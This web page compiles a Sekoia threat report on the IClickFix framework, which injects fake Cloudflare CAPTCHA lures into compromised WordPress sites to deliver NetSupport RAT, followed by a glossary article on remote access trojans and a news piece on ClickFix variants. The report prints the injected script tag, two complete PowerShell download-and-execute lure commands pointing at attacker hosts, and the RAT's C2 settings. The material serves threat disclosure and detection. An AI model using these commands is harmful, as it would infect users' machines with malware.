Introduction

In November 2025, during our threat hunting routine for unveiling emerging adversary clusters, TDR analysts identified a widespread malware distribution campaign leveraging the ClickFix social engineering tactic through a Traffic Distribution System (TDS).

This cluster uses a malicious JavaScript framework injected into compromised WordPress sites to display the ClickFix lure and deliver NetSupport RAT. Because the initial JavaScript includes the distinctive HTML tag ic-tracker-js, we named the malicious framework “IClickFix”.

Historical analysis of IClickFix reveals that this cluster has been active since at least December 2024, compromising over 3,800 WordPress sites. As reported by the Walmart Global Tech security team¹, this cluster uses a Traffic Distribution System (TDS) to redirect selected visitors and deliver the next-stage payload, enhancing IClickFix’s stealth.

TDR analysts first encountered this ClickFix cluster in February 2025, when it was in its early stages. We observed it distributing Emmenhtal Loader, which ultimately downloaded XFiles Stealer. At that time, IClickFix had not yet reached sufficient scale to warrant an in-depth analysis.

Like the ClearFake threat², IClickFix employs a multi-stage JavaScript loader that presents a fake Cloudflare Turnstile CAPTCHA challenge using the ClickFix social engineering tactic. The ClickFix command, once copied into the victim’s clipboard, executes a PowerShell command that downloads and executes an obfuscated PowerShell script, ultimately dropping NetSupport RAT.
This report provides a technical analysis of the persistent IClickFix framework, the adversary’s infrastructure, and its technical evolution throughout 2025.

Threat hunting of emerging adversary clusters

In November 2025, we unveiled the IClickFix framework and its associated infrastructure using two distinct threat hunting methodologies:

• An internal tool designed to detect watering hole attacks across thousands of monitored websites belonging to strategic organisations in government, defense, energy, telecom, and other verticals.
• Generic YARA rules deployed on scanning platforms to detect pages employing the ClickFix social engineering tactic.

Exposing watering hole attacks

In late 2025, Sekoia TDR analysts deployed a new capability for detecting watering hole attacks.

A watering hole attack is a strategic attack where operators compromise a legitimate website known to be frequented by a specific target group, effectively ambushing users who visit the trusted source. This tactic is often leveraged by state-sponsored actors to conduct espionage against specific sectors (like defense or finance) by targeting a distinct community of interest, but also serves as a potent vector for broader cybercrime operations.

When our monitoring began in November, the Ghanaian Allied Health Professions Council government WordPress website ahpc.gov[.]gh was flagged after the main page includes a malicious JavaScript snippet that interacts with the URL hxxps://ototaikfffkf[.]com/fffa.js, registered a few months earlier.

Although the initial indicators suggested a targeted watering‑hole, we quickly observed the same JavaScript snippet across multiple unrelated websites spanning different sectors and countries. This pattern indicates a mass distribution rather than a targeted approach against the government in Ghana.

Tracking ClickFix clusters in the wild

Sekoia TDR analysts actively track pages that implement the ClickFix social engineering tactic, given its widespread adoption by cybercriminals and nation-state-sponsored threat groups. In particular, we have developed generic YARA rules detecting ClickFix pages, using keywords, resource patterns, and JavaScript functions.

By November 2025, while analysing detection results from the urlquery scanning service³, one of these rules triggered alerts for resources retrieved from multiple scanned URLs. The detected resources consisted of HTML pages, served by the malicious framework and containing ClickFix-related strings, including:

Verify you are human
please follow these steps
<b>Ctrl + V</b>
<b>Win + R</b>
Press <b>Enter</b>
navigator.clipboard.writeText(

As shown in the following figure, the website scanned on urlquery contacted several domains and fetched resources matching our phishing_clickfix_generic_9 YARA rule.

After our threat hunting tools and the Sekoia SOC platform’s telemetry flagged multiple malicious domains, and following our initial February 2025 observation confirming a persistent and widespread threat, we conducted an in-depth analysis of the ClickFix cluster.

From compromised WordPress to infected system

As of 9 December 2025, here is an overview of the infection chains’ stages observed⁴:

The actions performed from the user’s perspective are:

• Upon accessing the compromised website, the legitimate HTML content initially loads as expected.
• However, within seconds, the entire page is replaced by a fake CAPTCHA challenge designed to mimic Cloudflare Turnstile.
• When the user attempts to resolve the challenge, he is instructed to copy and execute a specific command to complete the verification.
• This command conceals malicious code that differs from the displayed instructions, ultimately resulting in the execution and deployment of the NetSupport RAT.

IClickFix delivery stages

WordPress sites compromised by the IClickFix framework

The IClickFix operator compromised WordPress sites, acting as watering hole, to inject the following malicious JavaScript code into their HTML pages:

...
<link rel='dns-prefetch' href='//ksfldfklskdmbxcvb[.]com' />
...
<script type="text/javascript" src="hxxps://ksfldfklskdmbxcvb[.]com/gigi?ts=1765169670" id="ic-tracker-js" defer="defer" data-wp-strategy="defer"></script>
...

Code 1 – IClickFix JavaScript injected into compromised WordPress sites

This initial JavaScript snippet injected into legitimate serves two purposes:

• Prefetch the attacker’s domain ksfldfklskdmbxcvb[.]com before requesting the resource, using the HTML attribute dns-prefetch.
• Load an external JavaScript from the attacker’s domain.

The external URL redirects, via the Location HTTP header, to a second URL hosting the next-stage JavaScript script: hxxps://ksdkgsdkgkgmgm[.]pro/ofofo.js. Unwanted traffic is instead redirected via an HTTP 301 to hxxps://ksfldfklskdmbxcvb[.]com/-, which fails to load. Notably, HTTP responses include the header x-robots-tag: noindex.

We assess with high confidence that the attacker abuses the open-source URL shortener YOURLS⁵ as a Traffic Distribution System (TDS). Indeed, the domain hosts a YOURLS administration panel at /admin/⁶, and the redirection behavior (HTTP 301, redirect to /- , x-robots-tag header) matches YOURLS’s PHP redirect function⁷.

These redirection steps enable the attacker to filter visitors by device characteristics and protect their infrastructure from bots, scanners, and other unwanted traffic. To our knowledge, this is the first time that Sekoia analysts have observed YOURLS being abused as a TDS by cybercriminals.

JavaScript payloads

The first payload, fetched from hxxps://ksdkgsdkgkgmgm[.]pro/ofofo.js, is an obfuscated JavaScript file that:

• Exfiltrates the fingerprint data, the compromised site’s domain and the timestamp, to a base64-encoded URL using the pattern:
  .php?data={"host": <COMPROMISED_WORDPRESS>,"now": <UNIX_TIMESTAMP>}
• Loads a second JavaScript from: hxxps://booksbypatriciaschultz[.]com/liner.php.

The second payload, loaded from hxxps://booksbypatriciaschultz[.]com/liner.php, is a JavaScript that:

• Loads an HTML page, containing the ClickFix lure and the JavaScript for fake CAPTCHA interactions.
• Fetches the compromised WordPress site’s favicon.
• Listens for the event sync_event_click in the loaded HTML and exfiltrates fingerprint data to the same server using the pattern:
  .php?click=1&data={"host": <COMPROMISED_DOMAIN>,"now": <UNIX_TIMESTAMP>}

Of note, the attacker uses another compromised WordPress (booksbypatriciaschultz[.]com) to host the PHP code of this IClickFix framework’s part.

ClickFix lure

After the JavaScript loads the ClickFix lure, it replaces the original WordPress page with the following webpage.

If the user clicks the CAPTCHA button, an alert appears stating “Unusual Web Traffic Detected”, followed by instructions to verify that the activity originates from a legitimate user. The ClickFix command is also copied to the user’s clipboard.

This widespread social engineering tactic, known as ClickFix, is designed to convince users to run a malicious command in their Windows console, thereby compromising their system.

Interestingly, this ClickFix lure, which impersonates the Cloudflare CAPTCHA and fakes “unusual traffic”, closely resembles the lure deployed by the ClearFake framework in early 2025, as detailed in our March 2025 report. The page’s source code (CSS, JavaScript, HTML) is nearly identical to ClearFake’s one. It appears the operator borrowed the ClearFake lure while developing the IClickFix framework. Because IClickFix is less sophisticated than ClearFake, we assess with high confidence that two different cybercriminals developed and operated these malware distribution frameworks.

NetSupport RAT infection

As of early December 2025, the ClickFix command distributed by the IClickFix cluster was:

powershell -w hidden -nop -c "$v='8db6.ps1';$q=Join-Path $env:ProgramData 'e';$p=Join-Path $q $v;md $q -ea 0|out-null;iwr 'hxxs://scottvmorton[.]com/tytuy.json' -OutFile $p;cmd /c start powershell -w hidden -ep Bypass -f $p"

This command downloads a PowerShell script, disguised as a JSON file, and executes it by bypassing the execution policy.

The script (SHA256: 05b03a25e10535c5c8e2327ee800ff5894f5dbfaf72e3fdcd9901def6f072c6d) is a large PowerShell script embedding multiple files, all obfuscated via base64 encoding and string slicing. The PowerShell loader’s main operations aim to:

• Create a marker file in TEMP to prevent re-running for 72 hours, then self-delete the script.
• Create the directory ProgramData\S1kCMNfZi3\ and write 15 files into it by joining and base64-decoding the obfuscated strings.
• Establish persistence via the Windows Run registry key, pointing to the executable client32.exe.
• Launch client32.exe using explorer.exe.
• Clear the RunMRU (most recently used) command history to remove traces of the ClickFix command, then self-remove.

Of note, this PowerShell script is masquerading as a legitimate installer for “SecureModule Engine v1.0.0” , with installation messages and a progress bar.

This PowerShell loader serves as a dropper for NetSupport RAT offering persistence, obfuscation, and indicator removal capabilities. The 15 written files are components of the NetSupport RAT deployment:

Filename	Role	SHA256
AudioCapture.dll	NetSupport audio capturing library	2cc8ebea55c06981625397b04575ed0eaad9bb9f9dc896355c011a62febe49b5
client32.exe	NetSupport client executable	06a0a243811e9c4738a9d413597659ca8d07b00f640b74adc9cb351c179b3268
client32.ini	NetSupport client configuration file	62f7a444ab0c645f20c7dc6340c3eaaad7ef033b2188c3e5123406762990c517
gggg.txt	Unknown	6846bc236bd2095fbf93f8b31dd4ca0798614fcab20fbd2ecac6cc7f431c6dec
HTCTL32.DLL	NetSupport HTTP communication library	6562585009f15155eea9a489e474cebc4dd2a01a26d846fdd1b93fdc24b0c269
msvcr100.dll	Microsoft C++ runtime library	8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
nskbfltr.inf	NetSupport keyboard filter	d96856cd944a9f1587907cacef974c0248b7f4210f1689c1e6bcac5fed289368
NSM.ini	NetSupport configuration file	e0ed36c897eaa5352fab181c20020b60df4c58986193d6aaf5bf3e3ecdc4c05d
NSM.LIC	NetSupport licence file	83a6feb6304effcd258129e5d46f484e4c34c1cce1ea0c32a94a89283ccd24f9
nsm_vpro.ini	NetSupport vPro configuration file	4bfa4c00414660ba44bddde5216a7f28aeccaa9e2d42df4bbff66db57c60522b
pcicapi.dll	NetSupport communication library	2dfdc169dfc27462adc98dde39306de8d0526dcf4577a1a486c2eef447300689
PCICHEK.DLL	NetSupport system check library	0cff893b1e7716d09fb74b7a0313b78a09f3f48c586d31fc5f830bd72ce8331f
PCICL32.DLL	NetSupport core dependency library	b6d4ad0231941e0637485ac5833e0fdc75db35289b54e70f3858b70d36d04c80
remcmdstub.exe	NetSupport remote command prompt stub	b11380f81b0a704e8c7e84e8a37885f5879d12fbece311813a41992b3e9787f2

NetSupport C2 domains are configured in client32.ini as follows:

GatewayAddress=pusykakimao.com:443
Port=443
SecondaryGateway=fnotusykakimao.com:443
SecondaryPort=443

The malware communicates with its C2 servers on the endpoint /fakeurl.htm.

The license file lists KAKAN as the licensee and serial number NSM789508, identifiers previously seen in other ClickFix campaigns, such as EVALUSION, documented by eSentire⁸.

NetSupport RAT is a legitimate, commercially available remote administration tool frequently abused by cybercriminals. It grants attackers full control of the infected host, including screen and audio monitoring, keystroke logging, command execution, persistence, and file transfers.

IClickFix’s spread in the wild

Compromised WordPress worldwide

By pivoting on specific code patterns observed within the redirection chain and leveraging server indexing services, we identified a cluster of over 3,800 compromised WordPress involved in this campaign. We performed a demographic analysis of these compromised WordPress sites, categorising them by geography (based on TLD and domain linguistics) and industry vertical.

Our analysis reveals a global footprint spanning 82 distinct countries. While the United States accounts for the plurality of infections, the wide geographic dispersion suggests a lack of targeted regional efforts. Similarly, the distribution across industry verticals does not reflect a concerted effort to target specific sectors. Consequently, we assess that this campaign relies on opportunistic mass exploitation rather than strategic targeting.

The compromised websites likely resulted from the exploitation of a vulnerability within the WordPress core or a widely deployed third-party plugin, or the use of administrative credentials harvested via infostealers or phishing campaigns. Fingerprinting conducted on 18 December 2025 revealed that the majority of infected sites are running current or near-current WordPress configurations, specifically versions 6.9 (released on 2 December 2025) and 6.8.3 (released on 30 September 2025). A correlation was observed with the presence of up-to-date versions of the Elementor⁹, WooCommerce¹⁰, and Gravity Forms¹¹ plugins. At the time of writing, the initial access vector has not been identified.

Historical data

In February 2025, while investigating Emmenhtal Loader, TDR analysts discovered an early version of what we later named, the IClickFix cluster, which was already distributed using compromised WordPress and a Cloudflare Turnstile lure. The ClickFix command copied in user’s clipboard data downloaded a MSI file, a sample of Emmenhtal Loader, that ultimately downloaded and executed XFiles Stealer.

At that stage, the IClickFix cluster remained in its first months of development, having compromised just 160 WordPress sites according to PublicWWW results for the distinctive HTML tag ic-tracker-js, which was already in use at that time.

As illustrated below, the page impersonating Cloudflare Turnstile displayed step-by-step keyboard instructions to explain how to execute the malicious command. We assess that this initial lure was less convincing than a fake Cloudflare Turnstile challenge, which users are accustomed to completing.

In early February 2025, the malicious code injected into compromised WordPress sites fetched JavaScript from hxxp://qq525f.short[.]gy/claud (URL from the Short[.]gy URL shortener), which then redirected to hxxps://bestieslos[.]com/over.js. At this stage, there was no TDS protection and only a single execution step: the downloaded JavaScript contained the HTML lure, the ClickFix command, and JavaScript to perform clipboard operations.

As of early February 2025, the ClickFix command distributed by IClickFix cluster was:

cmd /c start /min powershell -NoProfile -WindowStyle Hidden -Command $path='c:\\\\users\\\\public\\\\3aw.msi'; Invoke-RestMethod -Uri 'https://qq525f.short.gy/1' -OutFile $path; Start-Process $path;

Throughout 2025, IClickFix technical evolutions demonstrated that the operator has consistently updated the framework code, lures, and payloads, and compromised additional WordPress sites to expand the cluster’s reach.

Conclusion

The IClickFix framework serves as a widespread and persistent initial access vector, leveraging the ClickFix social engineering tactic for malware distribution. Since emerging in late 2024, this cluster has compromised over 3,800 WordPress sites through opportunistic watering hole attacks to distribute commodity malware, such as NetSupport RAT, Emmenhtal Loader and XFiles Stealer.

Throughout 2025, the IClickFix operator consistently updated the malicious framework by abusing the YOURLS URL shortener as a Traffic Distribution System (TDS), introducing additional JavaScript delivery stages, refining the lure, and compromising more WordPress sites. These updates have strengthened, protected and expanded the IClickFix infrastructure, thereby complicating both analysis and detection.

By leveraging the ClickFix social engineering technique and massively exploiting vulnerable WordPress sites, the operator has affected numerous users worldwide. TDR assess with moderate confidence that the IClickFix framework may be responsible for thousands of infections per day.

To protect our customers from IClickFix, Sekoia.io analysts will continue proactive monitoring of this threat and other clusters leveraging the ClickFix social engineering tactic.

Source and more details: https://blog.sekoia.io/meet-iclickfix-a-widespread-wordpress-targeting-framework-using-the-clickfix-tactic/

See also: https://protectyourwp.com/clickfix-attacks-expand-using-fake-captchas-microsoft-scripts-and-trusted-web-services/

What Is Remote Access Trojan?

Remote access and control of computers is not entirely criminal. For years, tools for accessing computers and servers remotely—such as Microsoft’s Remote Desktop Protocol (RDP) and TeamViewer to access computers and remotely control servers so they can work outside of the office or provide technical user support.

With the rise of remote work during the COVID-19 pandemic and the scalability demanded by globalization and digital transformation, remote access tools usage has seen a significant rise. However, using remote access and control for nefarious purposes is also becoming more common.

Remote Access Trojans (RATs) are a considerable threat to organizations worldwide. RAT hackers have developed several Trojan varieties, and security teams and antivirus software developers are working hard to keep up.

But what is a RAT, and how does it work? More importantly, how can you detect a RAT infection or protect organizational resources from becoming infected in the first place?

According to the Remote Access Trojan definition, a RAT is a form of malware that provides the perpetrator remote access and control of the infected computer or server. Once the hacker gains access, they can use the infected machine for several illegal activities, such as harvesting credentials from the keyboard or clipboard, installing or removing software, stealing files, and hijacking the webcam. The hacker can do all this without the owner’s consent or knowledge.

However, not all remote access is illegal. So to differentiate, professionals use “remote access tools” for legitimate access purposes and the term “Remote Access Trojan” for criminal access and control.

The Birth And Rise Of The RAT

The designation “Trojan” references the mythological Trojan horse used to conquer Troy in the Trojan War. According to Greek mythology, the Greeks left this giant hollow horse as an offering to the goddess Athena. However, Greek soldiers were hiding in its belly. Once the Trojan horse entered the city, the soldiers ravaged the city of Troy.

In the same way, a RAT fools recipients into “inviting” the malicious software into their machine. Once installed, it provides access to the RAT hacker. RATs first appeared in the ’90s following the creation of the first legitimate remote access tools in 1989.

The initial intent was playful, and some saw RATs as an initiation ritual for young hackers. The remote access allowed hackers to simply change the display background or make the CD tray pop in and out. However, more sophisticated RATs appeared over time, and the intent became more malicious. By 2010, more malicious types of malware emerged, such as DarkComet, Gh0st, and PoisonIvy. Then, from 2010 to 2019, RATs with more potent features entered the scene, and the targeted operating systems expanded from Windows to include mobile OS like Android and iOS.

How Does A Remote Access Trojan (RAT) Work?

RAT malware works just like non-malicious remote access tools. The difference is that RATs are designed to stay hidden and carry out tasks without the device owner’s consent or knowledge.

To install a RAT on a machine, the hacker must first fool the owner into downloading the software. The bad actor might send an email attachment or a link to a seemingly legitimate website where the user can download the software. 

The downloaded application imitates a trustworthy remote access app, but once installed, it does not show up on any list of active software or running processes. This means a RAT may reside inside a poorly protected computer or server for a long time without detection.

RATs are particularly dangerous because they give the hacker complete administrative control. As a result, attackers can use the infected machine or network as a proxy server to commit crimes anonymously. RATs are sometimes paired with a keylogger to increase the hacker’s chances of obtaining sensitive information or login details. Because the hacker has access to the unsuspecting user’s camera and microphone, the victim’s privacy is also completely compromised.

Who Are The Targets Of A Remote Access Trojan (RAT)?

While anyone can be the target of a RAT, hackers will likely focus on organizations that yield financial, political, or information gain. Individuals can also be targets, but the more profitable attacks are against governments or corporations.

1. Financial: Hackers use RATs to target financial institutions or corporations for money.
2. Political: Hackers access classified information, manipulate election results, or control national systems such as telecommunications, network traffic systems, or utilities.
3. Information: Data can be as valuable, or even more valuable, than currency. Hackers will try to access information, delete files, and even sell sensitive data for identity theft, corporate espionage, or political manipulation.

Click to See Larger Image

How Do Cyber Criminals Use RATs Against An Enterprise?

A RAT attack on an organization typically begins with another form of cyber attack, such as malspam, phishing or spear phishing, or some other type of social engineering campaign. The hacker first needs the recipient to unwittingly install the RAT software, so they use these deceptive tactics designed to avoid raising suspicions.

For example, since enterprises likely communicate chiefly via email, the hacker may send a legitimate-looking email with an attached PDF or Word document. Once the employee opens the attachment or clicks on the link, the RAT gets installed. The RAT disguises itself using the same RDP services that legitimate remote access tools use. Since the infection can go undetected for an extended period, RATs are potentially catastrophic for enterprises.

Examples Of RAT Attacks

Threat actors have been deploying different RAT attacks in recent years, even throughout 2022.

• A hacker group called RomCom launched RAT attacks in late 2022 by impersonating popular products, such as SolarWinds Network Performance Monitor and PDF Reader Pro.
• A Remote Access Trojan called Alchimist reportedly targeted Linux, macOS, and Windows systems in October 2022. Alchimist can deliver malware, take screenshots, and perform other malicious activity.
• A recently designed RAT named Cloud9 hacks the Chrome browser. It steals online accounts and targets a user’s browser for distributed denial-of-service (DDoS) attacks.

How To Detect A Remote Access Trojan (RAT) Infection

Those trying to figure out how to detect RAT software may be comforted by the fact that even trained professionals and anti-malware software can miss a Trojan infection, but there are signs you can look for:

1. Overall lag: RATs running in the background may be invisible, but they use up processing power. So if your computer or system is running abnormally slow, it is prudent to scan for Trojans.
2. Antivirus software failure: An antivirus program that constantly crashes or responds slowly may also indicate an infection.
3. Unrecognizable files: Keep an eye out for strange files or programs you did not intentionally download or install.
4. Website redirects or unresponsiveness: Constant redirects and web pages that do not load can also be a telltale sign of a RAT infection.
5. Webcam in use: Most computers come with a webcam indicator light. The indicator light turns on when you use a program that accesses the webcam, such as a videoconferencing application. So beware of light coming on for no apparent reason.

These symptoms are in no way exclusive, and a RAT may cause any, all, or none of them. Only very specific, thorough scans may uncover an infection, so prevention is always better than a cure.

Common Types Of Remote Access Trojan (RAT)

There are many different types of RATs. Here are a few well-known examples and their origins:

Back orifice

Developed by Cult of the Dead Cow, this RAT finds and targets deficiencies in the Windows OS.

Beast

Although developed back in 2002, Beast is still widely used against old and new Windows systems. It uses a client-server architecture similar to Back Orifice.

Blackshades

Blackshades is a self-propagating RAT that spreads by sending out links to the social media contacts of the infected user. The hacker then uses the infected machines as a botnet to launch denial-of-service (DoS) attacks.

CrossRAT

A CrossRAT infection is especially difficult to detect, and this RAT can target Linux, macOS, Solaris, or Windows systems.

Mirage

An advanced persistent threat (APT) malware launched by a state-sponsored Chinese hacking group, Mirage’s main goal is data exfiltration. It is generally used against government and military targets.

Saefko

This RAT specifically targets Chrome users’ browser histories to steal cryptocurrency transaction data.

Difference Between A Remote Access Trojan (RAT) And A Keylogger

While bad actors often use keyloggers and RATs in tandem, they are not the same. RATs are types of malware infections intended for unauthorized remote access and control. Keyloggers are more specific in function, logging keystrokes to steal credentials or other sensitive data.

Keyloggers can come in the form of software or hardware. They are not all illegal, as some devices have them for security or maintenance. Illegal keyloggers can usually be discovered by looking for suspicious activity within running processes. RATs, on the other hand, are more challenging to discover and can be used for a much broader range of illegal activities.

How To Protect Yourself From Remote Access Trojans (RATs)

RATs are developed and designed to gain unauthorized system access by “convincing” victims to install a malware program. They then avoid detection for as long as possible. Since they typically piggyback on trusted programs or products, what can you do to protect your organization from infection?

Here are some tips:

1. Prioritize monitoring user behavior using an intrusion detection system (IDS)
2. Keep your antivirus software up-to-date
3. Train staff members to think before clicking
4. Never download software from unreliable sources
5. Protect your email application with adequate filtering
6. Secure remote access by using secure gateways
7. Focus your security strategies on potential RAT attack vectors, such as malware, phishing, spear phishing, and unsecured browsing processes
8. Implement zero-trust security principles

Source: https://www.fortinet.com/resources/cyberglossary/remote-access-trojan

Cybersecurity researchers have disclosed details of a new campaign that combines ClickFix-style fake CAPTCHAs with a signed Microsoft Application Virtualization (App-V) script to distribute an information stealer called Amatera.

“Instead of launching PowerShell directly, the attacker uses this script to control how execution begins and to avoid more common, easily recognized execution paths,” Blackpoint researchers Jack Patrick and Sam Decker said in a report published last week.

In doing so, the idea is to transform the App-V script into a living-off-the-land (LotL) binary that proxies the execution of PowerShell through a trusted Microsoft component to conceal the malicious activity.

The starting point of the attack is a fake CAPTCHA verification prompt that seeks to trick users into pasting and executing a malicious command on the Windows Run dialog. But here is where the attack diverges from traditional ClickFix attacks.

The supplied command, rather than invoking PowerShell directly, abuses “SyncAppvPublishingServer.vbs,” a signed Visual Basic Script associated with App-V to retrieve and execute an in-memory loader from an external server using “wscript.exe.”

It’s worth noting that the misuse of “SyncAppvPublishingServer.vbs” is not new. In 2022, two different threat actors from China and North Korea, tracked as DarkHotel and BlueNoroff, were observed leveraging the LOLBin exploit to stealthily execute a PowerShell script. But this is the first time it has been observed in ClickFix attacks.

“Adversaries may abuse SyncAppvPublishingServer.vbs to bypass PowerShell execution restrictions and evade defensive counter measures by ‘living off the land,'” MITRE notes in its ATT&CK framework. “Proxying execution may function as a trusted/signed alternative to directly invoking ‘powershell.exe.'”

The use of an App-V script is also significant as the virtualization solution is built only into Enterprise and Education editions of Windows 10 and Windows 11, along with modern Windows Server versions. It’s not available for Windows Home or Pro installations.

In Windows operating systems where App-V is either absent or not enabled, the execution of the command fails outright. This also indicates that enterprise managed systems are likely the primary targets of the campaign.

The obfuscated loader runs checks to ensure that it’s not run within sandboxed environments, and then proceeds to fetch configuration data from a public Google Calendar (ICS) file, essentially turning a trusted third-party service into a dead drop resolver.

“By externalizing configuration in this way, the actor can rapidly rotate infrastructure or adjust delivery parameters without redeploying earlier stages of the chain, reducing operational friction and extending the lifespan of the initial infection vector,” the researchers pointed out.

Parsing the calendar event file leads to the retrieval of additional loader stages, including a PowerShell script that functions as an intermediate loader to execute the next stage, another PowerShell script, directly in memory. This step, in turn, results in the retrieval of a PNG image from domains like “gcdnb.pbrd[.]co” and “iili[.]io” via WinINet APIs that conceals an encrypted and compressed PowerShell payload.

The resulting script is decrypted, GZip decompressed in memory, and run using Invoke-Expression, ultimately culminating in the execution of a shellcode loader that’s designed to launch Amatera Stealer.

“What makes this campaign interesting isn’t any single trick, but how carefully thought-out everything is when chained together,” Blackpoint concluded. “Each stage reinforces the last, from requiring manual user interaction, to validating clipboard state, to pulling live configuration from a trusted third-party service.”

“The result is an execution flow that only progresses when it unfolds (almost) exactly as the attacker expects, which makes both automated detonation and casual analysis significantly harder.”

The Evolution of ClickFix: FileFix, JackFix, CrashFix, and GlitchFix

The disclosure comes as ClickFix has become one of the most widely used initial access methods in the last year, accounting for 47% of the attacks observed by Microsoft.

Recent ClickFix campaigns have targeted social media content creators by claiming they are eligible for free verified badges, instructing them via videos to copy authentication tokens from their browser cookies into a fake form to complete the supposed verification process. The embedded video also informs the user to “not log out for at least 24 hours” to keep the authentication tokens valid.

The campaign, active since at least September 2025, is estimated to have used 115 web pages across the attack chain and eight exfiltration endpoints, per Hunt.io. The main targets of the activity include creators, monetized pages, and businesses seeking verification, with the end goal being to facilitate account takeover following token theft.

“Defending against the ClickFix technique is uniquely challenging because the attack chain is built almost entirely on legitimate user actions and the abuse of trusted system tools,” Martin Zugec, technical solutions director at Bitdefender, said in a report last month. “Unlike traditional malware, ClickFix turns the user into the initial access vector, making the attack look benign from an endpoint defense perspective.”

ClickFix is also constantly evolving, utilizing variants like FileFix, JackFix and CrashFix to deceive the victims into infecting their own machines. While operators use several methods to attempt to convince a target to perform command execution, the growing popularity of the social engineering technique has paved the way for ClickFix builders that are advertised on hacker forums for anywhere between $200 to $1,500 per month.

The latest entrant to this threat landscape is ErrTraffic, a traffic distribution system (TDS) that’s specifically designed for ClickFix-like campaigns by causing compromised websites injected with malicious JavaScript to glitch and then suggesting a fix to address the non-existent problem. This technique has been codenamed GlitchFix.

The malware-as-a-service (MaaS) supports three different file distribution modes that involve using fake browser update alerts, fake “system font required” dialogs, and bogus missing system font errors to trigger the execution of malicious commands. ErrTraffic is explicitly blocked from running on machines located in the Commonwealth of Independent States (CIS) countries.

“ErrTraffic doesn’t just show a fake update prompt, it actively corrupts the underlying page to make victims believe something is genuinely wrong,” Censys said. “It also applies CSS transformations that make everything look broken.”

ClickFix has also been adopted by threat actors behind the ClearFake campaign, which is known to infect sites with fake web browser update decoys on compromised WordPress to distribute malware. ClearFake’s use of ClickFix was first recorded in May 2024, leveraging CAPTCHA challenges for delivering Emmenhtal Loader (aka PEAKLIGHT), which then drops Lumma Stealer.

The attack chain also makes use of another known technique referred to as EtherHiding to retrieve the next-stage JavaScript code using smart contracts on Binance’s BNB Smart Chain (BSC) and eventually inject the ClickFix fake CAPTCHA obtained from a different smart contract into the web page. At the same time, the final stage avoids re-infecting already infected victims.

Like in the case of the Amatera Stealer attack, the ClickFix command copied to the clipboard abuses “SyncAppvPublishingServer.vbs” to obtain the final payload hosted on the jsDelivr content delivery network (CDN). Expel’s analysis of the ClearFake campaign shows that as many as 147,521 systems have likely been infected since late August 2025.

“One of many factors security products use to decide if behavior is malicious or not is whether said behavior is being performed by a trusted application,” security researcher Marcus Hutchins said. “In this case, ‘SyncAppvPublishingServer.vbs’ is a default Windows component, and the file can only be modified by TrustedInstaller (a highly privileged system account used internally by the operating system). Therefore, the file and its behavior alone would not normally be suspect.”

“Organizations and EDR are unlikely to outright block ‘SyncAppvPublishingServer.vbs’ from launching PowerShell in hidden mode, as it would prevent the component from being used for its intended purpose. Consequently, by abusing the command line injection bug in ‘SyncAppvPublishingServer.vbs,’ attackers can execute arbitrary code via a trusted system component.”

Expel also characterized the campaign as highly sophisticated and very evasive, owing to the use of in-memory PowerShell code execution, coupled with its reliance on blockchain and popular CDNs, thus ensuring that it does not communicate with any infrastructure that’s not a legitimate service.

Censys has described the broader fake CAPTCHA ecosystem as a “fragmented, fast-changing abuse pattern that uses trusted web infrastructure as the delivery surface,” wherein Cloudflare-style challenges act as a conduit for clipboard-driven execution of PowerShell commands, VB Scripts, MSI installers, and even hand-offs to browser-native frameworks like Matrix Push C2.

“This aligns with a broader shift toward Living Off the Web: systematic reuse of security-themed interfaces, platform-sanctioned workflows, and conditioned user behavior to deliver malware,” the attack surface management firm said. “Attackers do not need to compromise trusted services; they inherit trust by operating inside familiar verification and browser workflows that users and tooling are trained to accept.”

Source: https://thehackernews.com/2026/01/clickfix-attacks-expand-using-fake.htmlhttps://thehackernews.com/2026/01/clickfix-attacks-expand-using-fake.html